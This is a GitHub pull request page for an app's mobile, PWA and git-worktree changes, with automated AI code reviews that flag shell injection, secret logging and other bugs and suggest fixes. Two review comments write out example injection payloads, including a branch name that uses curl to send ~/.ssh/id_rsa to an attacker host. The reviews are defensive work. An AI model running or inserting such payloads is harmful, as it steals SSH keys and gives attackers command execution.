Feature: Comprehensive mobile improvements and bug fixes #782
Feature: Comprehensive mobile improvements and bug fixes #782gsxdsm merged 35 commits intoAutoMaker-Org:v0.15.0rcfrom
Conversation
…sage-tracking # Conflicts: # apps/ui/src/components/usage-popover.tsx # apps/ui/src/components/views/board-view/mobile-usage-bar.tsx
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughAdds z.ai and Gemini usage integrations (services, routes, UI), a canonical git utility and many git/worktree services/routes (merge/rebase/pull/stash/cherry‑pick/stage), IndexedDB React Query persistence and PWA/mobile improvements, extensive UI dialogs/actions for worktree workflows, optimistic UI persistence, and CI/husky lockfile SSH URL auto-fixes. Changes
Sequence Diagram(s)sequenceDiagram
participant UI as UI (Board)
participant API as HttpApiClient
participant Server as Server
participant Git as Git Service
participant AI as AI Provider
rect rgba(0,150,255,0.5)
UI->>API: POST /worktree/generate-pr-description { worktreePath, baseBranch }
API->>Server: /worktree/generate-pr-description
Server->>Git: collect diff, commits, uncommitted files
Server->>AI: stream prompt (title/body)
alt AI success
AI-->>Server: streamed title/body
Server-->>API: { success: true, title, body }
API-->>UI: display generated PR description
else AI error
AI-->>Server: error
Server-->>API: { success: false, error }
API-->>UI: show error
end
end
sequenceDiagram
participant UI as UsagePopover
participant API as HttpApiClient
participant Server as Server
participant Cred as Credentials Store
participant Ext as Gemini Quota API
rect rgba(0,200,150,0.5)
UI->>API: GET /api/gemini/usage
API->>Server: /api/gemini/usage
Server->>Cred: read credentials & CLI token
alt have valid creds
Server->>Ext: fetch quota using access token
Ext-->>Server: quota buckets
Server-->>API: normalized usage payload
API-->>UI: render Gemini usage
else no creds / error
Server-->>API: { authenticated:false, message }
API-->>UI: show connect CTA
end
end
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120+ minutes Possibly related PRs
Suggested labels
Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Summary of ChangesHello @gsxdsm, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request significantly enhances the application's mobile experience and overall performance by introducing PWA capabilities and intelligent caching mechanisms. It also refines the developer workflow with advanced Git worktree features like selective staging and smart branch switching. A major architectural refactoring of the auto-mode service improves code modularity and maintainability, while new documentation provides a clearer understanding of the codebase. API and SDK updates ensure compatibility with the latest AI models and introduce new integrations. Highlights
🧠 New Feature in Public Preview: You can now enable Memory to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console. Changelog
Activity
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
There was a problem hiding this comment.
Code Review
The pull request introduces a comprehensive set of mobile PWA improvements, performance optimizations, and a major architectural refactoring of the auto-mode service into a more modular structure. The transition to a service-oriented backend is a positive step for maintainability. However, several critical security vulnerabilities related to shell injection were identified in the worktree routes where child_process.exec is used with unsafely interpolated strings. Additionally, a regression was found in the analyzeProject functionality within the new auto-mode facade, which currently throws an error instead of performing the analysis. Addressing these security and functional issues is essential for the integrity of the application.
I am having trouble creating individual review comments. Click here to see my feedback.
apps/server/src/routes/worktree/routes/commit.ts (49-63)
The use of execAsync (which wraps child_process.exec) with template literals containing user-provided input (files and message) is vulnerable to shell injection. Even with double-quote escaping, shell metacharacters like backticks or $(...) can be executed by the shell if they appear in filenames or commit messages. It is highly recommended to use execFile or an array-based execution utility like execGitCommand from ../common.js to safely pass arguments to git without involving a shell.
apps/server/src/routes/worktree/routes/switch-branch.ts (88)
This line is vulnerable to shell injection because message contains branch names that could be manipulated to include shell commands. Using execAsync (which spawns a shell) with interpolated variables is unsafe. You should use execFile or execGitCommand to pass arguments as an array. Additionally, the branchName from the request body should be validated using isValidBranchName before being used in any command.
apps/server/src/routes/worktree/routes/switch-branch.ts (176)
The branchName variable is interpolated directly into a shell command string, which is a security risk. An attacker could provide a malicious branch name to execute arbitrary commands. Please use an array-based execution method and ensure the branch name is validated against an allowlist of characters.
apps/server/src/routes/worktree/routes/switch-branch.ts (247-249)
Directly interpolating branchName into the execAsync call is unsafe. This should be replaced with an array-based execution method like execGitCommand to prevent shell injection attacks.
apps/server/src/services/auto-mode/facade.ts (1014-1020)
The analyzeProject method is currently not implemented and throws an error. Since the new AutoModeServiceCompat delegates to this facade, the /analyze-project API endpoint is now broken, representing a regression in functionality. This should be implemented to maintain feature parity with the previous monolithic service, or the route should be updated to reflect its current status.
There was a problem hiding this comment.
Actionable comments posted: 19
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (12)
apps/server/src/routes/worktree/routes/list-branches.ts (1)
134-135:⚠️ Potential issue | 🟠 MajorShell injection via unquoted
currentBranchinterpolation.
exec()routes through/bin/sh. Git permits branch names containing;,|,&,$, and backticks. A repo with a branch named e.g.main; curl attacker.tldwould execute the injected command when any of these three lines runs:// line 134-135 `git rev-parse --abbrev-ref ${currentBranch}@{upstream}` // line 141-142 `git rev-list --left-right --count ${currentBranch}@{upstream}...HEAD` // line 154 `git ls-remote --heads origin ${currentBranch}`The safest remediation is to switch from
exectoexecFile, which never invokes a shell:🔒 Proposed fix — switch to `execFile` for commands that embed branch names
-import { exec } from 'child_process'; +import { exec, execFile } from 'child_process'; import { promisify } from 'util'; const execAsync = promisify(exec); +const execFileAsync = promisify(execFile);- const { stdout: upstreamOutput } = await execAsync( - `git rev-parse --abbrev-ref ${currentBranch}@{upstream}`, - { cwd: worktreePath } - ); + const { stdout: upstreamOutput } = await execFileAsync( + 'git', + ['rev-parse', '--abbrev-ref', `${currentBranch}@{upstream}`], + { cwd: worktreePath } + );- const { stdout: aheadBehindOutput } = await execAsync( - `git rev-list --left-right --count ${currentBranch}@{upstream}...HEAD`, - { cwd: worktreePath } - ); + const { stdout: aheadBehindOutput } = await execFileAsync( + 'git', + ['rev-list', '--left-right', '--count', `${currentBranch}@{upstream}...HEAD`], + { cwd: worktreePath } + );- const { stdout: remoteBranchOutput } = await execAsync( - `git ls-remote --heads origin ${currentBranch}`, - { cwd: worktreePath, timeout: 5000 } - ); + const { stdout: remoteBranchOutput } = await execFileAsync( + 'git', + ['ls-remote', '--heads', 'origin', currentBranch], + { cwd: worktreePath, timeout: 5000 } + );Also applies to: 141-142, 154-154
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/list-branches.ts` around lines 134 - 135, The three git invocations that interpolate currentBranch (the execAsync calls that run `git rev-parse --abbrev-ref ${currentBranch}@{upstream}`, `git rev-list --left-right --count ${currentBranch}@{upstream}...HEAD`, and `git ls-remote --heads origin ${currentBranch}`) are vulnerable to shell injection; update the code to use a non-shell exec variant (e.g., execFile or an execAsync wrapper that accepts command + args) and pass branch names as separate arguments instead of interpolating them into a shell string (keep the same logic in listBranches handler / the surrounding function but call execFile('git', ['rev-parse','--abbrev-ref', `${currentBranch}@{upstream}`]) and similarly for the other two commands) so branch names are never interpreted by a shell.apps/ui/src/components/views/board-view/components/kanban-card/kanban-card.tsx (1)
278-284:⚠️ Potential issue | 🟡 MinorPass
isActivelyRunninginstead ofisCurrentAutoTasktoAgentInfoPanel.At line 283,
AgentInfoPanelreceives the rawisCurrentAutoTaskprop whileCardActions(line 289) correctly receives the narrowedisActivelyRunningvalue. This causesAgentInfoPanelto continue polling for fresh feature data even after a card is reconciled back to a resting state (e.g.,waiting_approval). The component renders live task progress UI with spinners (lines 361–362), which should only fetch updates when the task is actively executing. Update line 283 to passisActivelyRunning={isActivelyRunning}.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/components/kanban-card/kanban-card.tsx` around lines 278 - 284, AgentInfoPanel is being given the raw isCurrentAutoTask flag causing it to keep polling; change the prop to pass the already-computed isActivelyRunning value instead. Locate the AgentInfoPanel usage in kanban-card.tsx (the component where AgentInfoPanel is rendered) and replace the prop isCurrentAutoTask={isCurrentAutoTask} with isActivelyRunning={isActivelyRunning} so AgentInfoPanel uses the narrowed running-state (matching CardActions) and stops polling when the card is reconciled.apps/server/src/routes/backlog-plan/routes/apply.ts (1)
57-65:⚠️ Potential issue | 🟠 MajorStale in-memory
allFeaturescauses incorrect dependency restoration during multi-feature deletions.
allFeaturesis fetched once (line 44) and is never updated in-memory. When iterating through multiple deletions,feature.dependencieson the in-memory object is always the original list. For a feature A that depends on both B and C, and both B and C are being deleted:
- Delete B:
newDeps = [C](correct) — store updated to[C].- Delete C:
newDeps = [B](wrong, derived from stale[B, C]) — store overwritten to[B], reintroducing a dangling reference to already-deleted B.After the deletion pass, A ends up with a dependency on the deleted feature B.
🐛 Proposed fix — mutate the in-memory object after each update
if (feature.dependencies?.includes(change.featureId)) { const newDeps = feature.dependencies.filter((d) => d !== change.featureId); await featureLoader.update(projectPath, feature.id, { dependencies: newDeps }); + // Keep in-memory state in sync so subsequent deletions see the updated deps + feature.dependencies = newDeps; logger.info( `[BacklogPlan] Removed dependency ${change.featureId} from ${feature.id}` ); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/backlog-plan/routes/apply.ts` around lines 57 - 65, The loop that removes dependencies uses a stale in-memory array allFeatures (fetched earlier) so subsequent deletions compute newDeps from the original dependencies and can reintroduce deleted IDs; after calling featureLoader.update(projectPath, feature.id, { dependencies: newDeps }) inside the for (const feature of allFeatures) loop, also mutate the in-memory feature object (e.g., set feature.dependencies = newDeps) so later iterations use the updated dependency list, ensuring change.featureId is removed from future computations and preventing restoration of deleted dependencies.apps/ui/src/components/views/board-view/hooks/use-board-persistence.ts (1)
183-210:⚠️ Potential issue | 🟠 Major
persistFeatureDelete:throwinsidetrycauses double side-effects and silently swallows all deletion errorsTwo compounding issues in this block:
Double rollback + double invalidate:
throw new Error('Features API not available')at line 193 is inside thetryblock, so it is immediately caught by thecatchat line 201. The rollback (lines 187–189) andinvalidateQueries(lines 190–192) already ran before the throw, then thecatchblock runs them again (lines 204–206 and 207–209). The doubleinvalidateQueriestriggers a redundant second refetch.Silent error swallow: The
catchblock does not re-throw, so both "API unavailable" and actualapi.features.delete()failures are silently discarded. Callers cannot surface an error to the user. This is inconsistent withpersistFeatureCreate, which correctly re-throws at line 163.🐛 Proposed fix
const persistFeatureDelete = useCallback( async (featureId: string) => { if (!currentProject) return; + const api = getElectronAPI(); + if (!api.features) { + throw new Error('Features API not available'); + } + // Optimistically remove from React Query cache for immediate board refresh const previousFeatures = queryClient.getQueryData<Feature[]>( queryKeys.features.all(currentProject.path) ); queryClient.setQueryData<Feature[]>( queryKeys.features.all(currentProject.path), (existing) => (existing ? existing.filter((f) => f.id !== featureId) : existing) ); try { - const api = getElectronAPI(); - if (!api.features) { - // Rollback optimistic deletion since we can't persist - if (previousFeatures) { - queryClient.setQueryData(queryKeys.features.all(currentProject.path), previousFeatures); - } - queryClient.invalidateQueries({ - queryKey: queryKeys.features.all(currentProject.path), - }); - throw new Error('Features API not available'); - } - await api.features.delete(currentProject.path, featureId); // Invalidate to sync with server state queryClient.invalidateQueries({ queryKey: queryKeys.features.all(currentProject.path), }); } catch (error) { logger.error('Failed to persist feature deletion:', error); // Rollback optimistic update on error if (previousFeatures) { queryClient.setQueryData(queryKeys.features.all(currentProject.path), previousFeatures); } queryClient.invalidateQueries({ queryKey: queryKeys.features.all(currentProject.path), }); + throw error; } }, [currentProject, queryClient] );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/hooks/use-board-persistence.ts` around lines 183 - 210, Move the Electron API availability check out of the try block and re-throw errors from the catch: call getElectronAPI() and check api.features before entering the try in persistFeatureDelete; if api.features is missing perform the rollback via queryClient.setQueryData(queryKeys.features.all(currentProject.path), previousFeatures) and queryClient.invalidateQueries(...) and then throw the Error so it isn't caught by the local catch. Inside the catch (which will now only see real delete failures from api.features.delete), keep the logger.error(...) and rollback/invalidate as currently done, then re-throw the caught error so callers can surface the failure.apps/ui/src/components/views/login-view.tsx (1)
400-400:⚠️ Potential issue | 🟡 MinorRedundant ternary — both branches evaluate to the same expression.
state.apiKeyis returned regardless of the condition (bothawaiting_loginandlogging_incarryapiKey). Simplify:🛠️ Proposed fix
- const apiKey = state.phase === 'awaiting_login' ? state.apiKey : state.apiKey; + const apiKey = state.apiKey;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/login-view.tsx` at line 400, The ternary assigning apiKey is redundant because both branches use state.apiKey; replace the ternary expression in the login-view component by directly assigning const apiKey = state.apiKey (locate where apiKey is declared and where state.phase, state.apiKey are referenced) to simplify the code and remove the unnecessary conditional.apps/server/src/services/settings-service.ts (1)
1016-1023:⚠️ Potential issue | 🟡 Minor
getMaskedCredentialsdoes not exposezaicredential statusThe migration correctly initialises
zai: '', butgetMaskedCredentials(lines 728–754) only returns status foranthropic,openai. Any UI caller that usesgetMaskedCredentialsto enumerate all configured API keys will silently misszai.🛡️ Proposed fix
async getMaskedCredentials(): Promise<{ anthropic: { configured: boolean; masked: string }; google: { configured: boolean; masked: string }; openai: { configured: boolean; masked: string }; + zai: { configured: boolean; masked: string }; }> { ... + zai: { + configured: !!credentials.apiKeys.zai, + masked: maskKey(credentials.apiKeys.zai), + }, }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/settings-service.ts` around lines 1016 - 1023, getMaskedCredentials currently constructs and returns masked status only for anthropic, google, and openai, so callers won't see the zai credential status; update the getMaskedCredentials function to include a zai entry (consistent with how anthropic/google/openai are handled), deriving its masked/exists boolean from the internal credentials source the same way and ensuring any mask/value formatting logic matches the other providers so UI callers can enumerate zai alongside the others; also ensure updateCredentials (which initializes zai: '') and any related types/interfaces are compatible with the new zai field.apps/server/src/lib/permission-enforcer.ts (1)
143-147:⚠️ Potential issue | 🟠 MajorRegex injection risk in
matchesRulewith wildcard patterns.This is pre-existing code, but worth noting: when
rulecontains*, the replacementrule.replace(/\*/g, '.*')doesn't escape other regex metacharacters. Since tool names contain literal parentheses (e.g.,Shell(git*)), this produces an invalid or unintended regex likeShell(git.*)where(is treated as a group opener. This could cause aSyntaxErrorfor unbalanced parens or silently match incorrectly.Consider escaping non-
*metacharacters before replacing*:🔧 Suggested fix
if (rule.includes('*')) { - const regex = new RegExp(rule.replace(/\*/g, '.*')); + const escaped = rule.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + const regex = new RegExp(escaped.replace(/\\\*/g, '.*')); return regex.test(toolName); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/lib/permission-enforcer.ts` around lines 143 - 147, The wildcard handling in matchesRule is vulnerable because rule strings are inserted into a RegExp without escaping regex metacharacters (e.g., parentheses), so first escape all regex-special characters in the rule except the wildcard '*' (e.g., treat . ^ $ + ? ( ) [ ] { } | \ as literals), then replace '*' with '.*' and construct the RegExp (optionally anchor with ^ and $) to test toolName; update the matchesRule function to perform that escaping before calling new RegExp to avoid injection/invalid-regex errors.apps/server/src/routes/worktree/routes/switch-branch.ts (1)
18-23:⚠️ Potential issue | 🔴 CriticalCritical: Shell injection risk —
execwith user-controlledbranchNamethroughout this file.Unlike
discard-changes.ts(which was correctly migrated toexecFilein this PR), this file still usesexecwith string interpolation for user-controlledbranchName. Multiple commands interpolatebranchName,parsed.branch, ortargetBranchinto shell strings (lines 88, 175, 246, 274, 277, 283).A crafted
branchNamelike"; curl attacker.com/steal?d=$(cat ~/.ssh/id_rsa); echo "would execute arbitrary commands sinceexecspawns a shell and double-quotes don't protect against$(...)subshells.Migrate all git commands to
execFilewith argument arrays, consistent with the approach indiscard-changes.ts:Example migration for the checkout calls
+import { execFile } from 'child_process'; +const execFileAsync = promisify(execFile); + // Line 274: -await execAsync(`git checkout "${parsed.branch}"`, { cwd: worktreePath }); +await execFileAsync('git', ['checkout', parsed.branch], { cwd: worktreePath }); // Line 277: -await execAsync(`git checkout -b "${parsed.branch}" "${branchName}"`, { cwd: worktreePath }); +await execFileAsync('git', ['checkout', '-b', parsed.branch, branchName], { cwd: worktreePath }); // Line 283: -await execAsync(`git checkout "${targetBranch}"`, { cwd: worktreePath }); +await execFileAsync('git', ['checkout', targetBranch], { cwd: worktreePath }); // Line 88: -await execAsync(`git stash push --include-untracked -m "${message}"`, { cwd }); +await execFileAsync('git', ['stash', 'push', '--include-untracked', '-m', message], { cwd }); // Line 175: -await execAsync(`git rev-parse --verify "refs/heads/${branchName}"`, { cwd }); +await execFileAsync('git', ['rev-parse', '--verify', `refs/heads/${branchName}`], { cwd });Apply the same pattern to all remaining
execAsynccalls (lines 46, 59, 81, 91, 111, 132, 158, 207, 246).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 18 - 23, This file is vulnerable because it uses the promisified shell-spawning execAsync with user-controlled strings (e.g., branchName, parsed.branch, targetBranch); replace all uses of execAsync with a promisified execFile variant and pass Git and SSH args as an argument array (no shell interpolation). Concretely: import execFile from child_process and create execFileAsync = promisify(execFile), then for every call that currently does execAsync(`git ... ${branchName} ...`) or interpolates parsed.branch/targetBranch, call execFileAsync('git', ['checkout', '--', branchName], {cwd: repoPath}) (and similar for merge/branch/create/push commands), removing any surrounding quotes and avoiding shell operators; keep existing error handling via getErrorMessage/logError unchanged. Ensure every execAsync reference in this file is migrated to execFileAsync with explicit arg arrays so no user input is interpreted by a shell.apps/server/src/routes/app-spec/common.ts (1)
115-118:⚠️ Potential issue | 🟠 MajorLogging first 20 characters of
ANTHROPIC_API_KEYleaks a significant portion of the secret.This is pre-existing code, but given that this PR addresses type-safety across the error handling surface, it's worth flagging: logging 20 characters of an API key is too generous. Typically 4–8 characters suffice for identification.
Proposed fix
logger.info( ` ANTHROPIC_API_KEY: ${ - hasApiKey ? 'SET (' + process.env.ANTHROPIC_API_KEY?.substring(0, 20) + '...)' : 'NOT SET' + hasApiKey ? 'SET (' + process.env.ANTHROPIC_API_KEY?.substring(0, 6) + '...)' : 'NOT SET' }` );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/app-spec/common.ts` around lines 115 - 118, The current logger.info call prints the first 20 chars of ANTHROPIC_API_KEY which leaks too much secret; update the logger.info usage that references ANTHROPIC_API_KEY (the template string around logger.info) to only show a short, non-sensitive fingerprint (e.g., 4–8 characters) or a masked form like "***xxxx" when hasApiKey is true, and keep "NOT SET" when false, so the log retains identifiability without exposing the secret.apps/ui/src/types/electron.d.ts (1)
703-721:⚠️ Potential issue | 🟠 Major
ElectronAPItype definition is missingzaiandgemininamespace declarations.The
ElectronAPIinterface inapps/ui/src/types/electron.d.ts(lines 703-721) declares onlyclaudeandcodexusage namespaces, butapps/ui/src/hooks/queries/use-usage.tsaccessesapi.zai.getUsage()(line 110) andapi.gemini.getUsage()(line 146). The implementations exist inapps/ui/src/lib/electron.ts(lines 1385 and 1430), so the type definition must be updated to include:// Codex Usage API codex: { getUsage: () => Promise<CodexUsageResponse>; }; + // z.ai Usage API + zai: { + getUsage: () => Promise<ZaiUsageResponse>; + verify?: (apiKey: string) => Promise<{ success: boolean; authenticated?: boolean; message?: string; error?: string }>; + }; + + // Gemini Usage API + gemini: { + getUsage: () => Promise<GeminiUsageResponse>; + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/types/electron.d.ts` around lines 703 - 721, The ElectronAPI type is missing the zai and gemini namespaces used by use-usage hooks; update the ElectronAPI interface to add zai: { getUsage: () => Promise<ClaudeUsageResponse> } and gemini: { getUsage: () => Promise<CodexUsageResponse> } (or the appropriate response types used by api.zai.getUsage() and api.gemini.getUsage()), matching the existing claude and codex declarations so TypeScript recognizes api.zai.getUsage and api.gemini.getUsage.apps/server/src/index.ts (1)
595-602:⚠️ Potential issue | 🟠 MajorAvoid logging session IDs in event payload logs.
Session IDs are sensitive identifiers; logging them increases exposure risk. Consider removing or hashing/truncating them before logging.🛠️ Suggested fix
- sessionId: (payload as Record<string, unknown>)?.sessionId,🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/index.ts` around lines 595 - 602, The log currently includes the raw sessionId from the event payload (inside the ws send block using logger.info), which is sensitive; update the send logging to avoid emitting the raw sessionId by removing it or replacing it with a non-reversible fingerprint (e.g., a hash or masked/truncated value) before passing to logger.info — locate the WebSocket send block that checks ws.readyState === WebSocket.OPEN, the logger.info call that logs { type, messageLength, sessionId }, and change the sessionId entry to either omit it or set it to a hashed/masked value derived from (payload as Record<string, unknown>)?.sessionId so logs no longer contain the full identifier.apps/ui/src/components/usage-popover.tsx (1)
31-47:⚠️ Potential issue | 🟡 MinorHandle past reset timestamps to avoid negative minutes.
If the timestamp is already in the past, the UI can show “Resets in -Xm”. Consider clamping to a friendly fallback.🛠️ Suggested fix
- if (diff < 3600000) { + if (diff <= 0) { + return 'Resets soon'; + } + if (diff < 3600000) { const mins = Math.ceil(diff / 60000); return `Resets in ${mins}m`; }Also applies to: 50-52
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 31 - 47, In function formatResetTime, guard against past timestamps by clamping negative diffs to a friendly fallback: if date.getTime() <= now.getTime() return a neutral string like "Resets now" (or "Resets in 0m"); otherwise compute mins/hours using Math.max to avoid negative values (e.g., mins = Math.max(0, Math.ceil(diff / 60000))), and apply the same non-negative clamping logic where hours/mins are derived so the UI never displays negative time values; update formatResetTime accordingly and ensure the same clamp logic is applied to the related calculations referenced around the hours/mins branches.
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
apps/ui/src/styles/global.css (1)
406-411: Merge the two#appblocks to avoid rule fragmentation.There are two separate
#appdeclarations in the same@layer baseblock. Consolidating them avoids specificity confusion and improves readability.♻️ Proposed consolidation
- `#app` { - height: 100%; - height: 100dvh; - overflow: hidden; - overscroll-behavior: none; - } - /* ... `@supports` block ... */ - - /* Safe area insets for devices with notches/home indicators (viewport-fit=cover) */ - `#app` { - padding-top: env(safe-area-inset-top, 0px); - padding-bottom: env(safe-area-inset-bottom, 0px); - padding-left: env(safe-area-inset-left, 0px); - padding-right: env(safe-area-inset-right, 0px); - } + /* Safe area insets for devices with notches/home indicators (viewport-fit=cover) */ + `#app` { + height: 100%; + height: 100dvh; + overflow: hidden; + overscroll-behavior: none; + padding-top: env(safe-area-inset-top, 0px); + padding-bottom: env(safe-area-inset-bottom, 0px); + padding-left: env(safe-area-inset-left, 0px); + padding-right: env(safe-area-inset-right, 0px); + }Also applies to: 422-427
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/styles/global.css` around lines 406 - 411, There are two fragmented declarations of the `#app` selector inside the same `@layer` base; merge them into a single `#app` rule (combine properties such as height: 100%; height: 100dvh; overflow: hidden; overscroll-behavior: none) to avoid rule fragmentation and specificity confusion—update the other duplicate block (the one referenced at 422-427) the same way so only one consolidated `#app` rule exists in the stylesheet.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/ui/src/styles/global.css`:
- Around line 413-419: The global body rule using -webkit-touch-callout: none is
incorrect and causes an accessibility regression by disabling the iOS long-press
context menu; remove that declaration from the body selector and either delete
the block or replace it with a scoped utility class (e.g., .no-touch-callout)
applied only to non-interactive chrome elements; keep overscroll-behavior: none
for preventing pull-to-refresh and do not rely on -webkit-touch-callout for
bounce prevention.
- Around line 397-404: Remove the stray backticks around the media query so the
rule becomes a proper at-rule; locate the `@media (hover: none) and (pointer:
coarse)` block in apps/ui/src/styles/global.css (the rule that targets `html,
body` and sets `position: fixed`) and delete the literal backtick characters so
the media query is valid CSS and `position: fixed` is applied on touch devices.
---
Nitpick comments:
In `@apps/ui/src/styles/global.css`:
- Around line 406-411: There are two fragmented declarations of the `#app`
selector inside the same `@layer` base; merge them into a single `#app` rule
(combine properties such as height: 100%; height: 100dvh; overflow: hidden;
overscroll-behavior: none) to avoid rule fragmentation and specificity
confusion—update the other duplicate block (the one referenced at 422-427) the
same way so only one consolidated `#app` rule exists in the stylesheet.
… pull request flow, add worktree file copy options, address code review comments, add cherry pick options
There was a problem hiding this comment.
Actionable comments posted: 20
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (4)
apps/server/src/routes/worktree/routes/create-pr.ts (2)
96-96:⚠️ Potential issue | 🟠 MajorShell metacharacter escaping is incomplete for
commitMessage.Line 96 only escapes double quotes (
"), but shell metacharacters like`,$, and\are not escaped. A commit message containing$(whoami)or backtick-wrapped commands would be interpreted by the shell. The same concern applies totitleandbodyon line 316, though those are pre-existing.Consider using an array-based exec approach (e.g.,
spawnwith argument array) or a proper shell-escaping utility instead of string interpolation.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/create-pr.ts` at line 96, The commit message is being passed into execAsync via string interpolation (see the execAsync call using message.replace(...) in create-pr route) which only escapes double quotes and leaves shell metacharacters like backticks, $, and backslashes unsafe; update the code to stop invoking a shell with an interpolated string and instead call a child-process API that accepts an argument array (e.g., child_process.spawn or execFile) to run git commit with ['commit', '-m', commitMessage] or use a robust shell-escaping library to fully escape backticks, $, and \ characters; also apply the same fix to the code paths that build git commands from title and body (the pre-existing variables referenced around the title/body handling) so all commit messages are passed as arguments rather than interpolated into a shell string.
125-143:⚠️ Potential issue | 🟡 MinorRedundant retry — both push commands are identical.
Line 126 uses
git push -uand line 133 usesgit push --set-upstream. The-uflag is the short form of--set-upstream, so these two commands are functionally identical. If the first fails, the retry will always fail with the same error.If the original intent was "try a plain push first, then retry with
--set-upstreamif the tracking ref isn't set," the first command should drop the-uflag:♻️ Proposed fix
- await execAsync(`git push -u ${pushRemote} ${branchName}`, { + await execAsync(`git push ${pushRemote} ${branchName}`, { cwd: worktreePath, env: execEnv, });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/create-pr.ts` around lines 125 - 143, The retry is redundant because `-u` is the short form of `--set-upstream`; update the first execAsync call in the create-pr flow (the block that calls execAsync with pushRemote and branchName) to perform a plain `git push ${pushRemote} ${branchName}` (no `-u`/`--set-upstream`), so the fallback catch can correctly retry with `git push --set-upstream ${pushRemote} ${branchName}`; keep the surrounding cwd/env (worktreePath, execEnv) and the existing error capture into pushError and logger.error as-is.apps/server/tests/unit/services/auto-loop-coordinator.test.ts (1)
826-845:⚠️ Potential issue | 🟡 MinorEdge-case test omits coverage for the broken fallback dependency behavior.
This test constructs a coordinator without
loadAllFeaturesFnbut only verifiesDEFAULT_MAX_CONCURRENCY. There is no test that verifies what happens when features have dependencies andloadAllFeaturesFnis absent — which is exactly the fallback path with the bug described inauto-loop-coordinator.ts(lines 185–195). Adding a test here would both document the expected behavior and expose the current issue.Would you like me to draft a test case that verifies the correct behavior (features with completed deps should remain eligible) when
loadAllFeaturesFnis omitted?🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/tests/unit/services/auto-loop-coordinator.test.ts` around lines 826 - 845, Add a unit test that covers the fallback path when AutoLoopCoordinator is constructed with loadAllFeaturesFn = null: create a pending feature with dependencies and configure mocks so mockLoadPendingFeatures returns that feature and mockIsFeatureFinished(depId) returns true for its deps; instantiate AutoLoopCoordinator (use the same constructor pattern as the existing test), call startAutoLoopForProject and assert that the feature is treated as eligible to run (e.g., mockExecuteFeature is invoked or the coordinator schedules it), and then stop the loop; this verifies the fallback behavior in the absence of loadAllFeaturesFn and prevents the bug in the dependency-check code path (refer to AutoLoopCoordinator, loadAllFeaturesFn, mockLoadPendingFeatures, mockIsFeatureFinished, startAutoLoopForProject, and mockExecuteFeature).apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx (1)
344-351:⚠️ Potential issue | 🟡 MinorAction button label doesn't reflect the selected strategy.
The confirm button always reads "Merge & Rebase" regardless of which strategy the user selected. This can confuse the user about which operation will be performed. Consider using the selected strategy to label the button.
Proposed fix
<Button onClick={handleConfirm} disabled={!selectedBranch || isLoading} className="bg-purple-600 hover:bg-purple-700 text-white" > <GitMerge className="w-4 h-4 mr-2" /> - Merge & Rebase + {selectedStrategy === 'rebase' ? 'Rebase' : 'Merge'} </Button>🤖 Prompt for AI Agents
